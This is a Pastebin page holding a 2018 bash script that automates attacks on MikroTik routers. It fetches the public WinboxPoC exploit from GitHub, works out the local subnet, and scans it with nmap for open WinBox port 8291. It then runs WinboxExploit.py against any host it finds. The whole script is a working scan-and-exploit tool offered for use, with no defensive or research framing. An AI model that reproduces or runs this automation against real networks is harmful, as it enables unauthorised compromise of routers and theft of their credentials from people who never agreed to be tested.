daily pastebin goal
53%
SHARE
TWEET

AutoScan Port [Nmap] + Exploit WinboxPoc

zerobyte-id Aug 22nd, 2018 (edited) 476 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2. # AutoScan Port [Nmap] + Exploit WinboxPoc
  3. # WinboxPOC : https://github.com/BasuCert/WinboxPoC
  4. # My Github : https://github.com/suhada99
  5. # Coded by sUHada - ZeroByte.ID
  6.  
  7. echo "__        ___       ____            ____   ___   ____   "
  8. echo "\ \      / (_)_ __ | __ )  _____  _|  _ \ / _ \ / ___|  "
  9. echo " \ \ /\ / /| | '_ \|  _ \ / _ \ \/ / |_) | | | | |      "
  10. echo "  \ V  V / | | | | | |_) | (_) >  <|  __/| |_| | |___   "
  11. echo "   \_/\_/  |_|_| |_|____/ \___/_/\_\_|    \___/ \____|  "
  12. echo "                                                      "                                                      
  13.  
  14. mask2cidr() {
  15.     nbits=0
  16.     IFS=.
  17.     for dec in $1 ; do
  18.         case $dec in
  19.             255) let nbits+=8;;
  20.             254) let nbits+=7;;
  21.             252) let nbits+=6;;
  22.             248) let nbits+=5;;
  23.             240) let nbits+=4;;
  24.             224) let nbits+=3;;
  25.             192) let nbits+=2;;
  26.             128) let nbits+=1;;
  27.             0);;
  28.             *) echo "Error: $dec is not recognised"; exit 1
  29.         esac
  30.     done
  31.     echo "$nbits"
  32. }
  33.  
  34. echo " Starting [!]";
  35. echo -ne " Clone Exploit WinboxPoC . . . ";
  36. rm -rf WinboxPoC/
  37. git clone -q https://github.com/BasuCert/WinboxPoC.git
  38. echo " Done [!]";
  39. echo " Starting Exploit (Network Local) [!]";
  40. echo -ne " GET YOUR IP . . . ";
  41. gEtiP=$(hostname -I | awk '{print $1}');
  42. echo "FOUND [!]"
  43. echo " Your IP ${gEtiP} [!]";
  44. gEtNet=$(echo ${gEtiP} | cut -d '.' -f 1-3);
  45. echo " Scanning Port 8291 [WinBox] in network with Nmap";
  46. netmask=$(ifconfig | grep "${gEtiP}" | grep Mask | cut -d":" -f4)
  47. numbits=$(mask2cidr $netmask)
  48. cEkwBox=$(nmap -p 8291 -oG - "${gEtNet}".0/"${numbits}" | awk '/8291\/open/ {print $2}');
  49. if [[ -z $cEkwBox ]]; then
  50.     echo " Port 8291 Can't Found!";
  51. else
  52.     echo " Found IP ${cEkwBox} Port 8291";
  53.     echo " Try it Exploit WinboxPoC . . .";
  54.     cd WinboxPoC/ && python WinboxExploit.py ${cEkwBox}
  55. fi
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top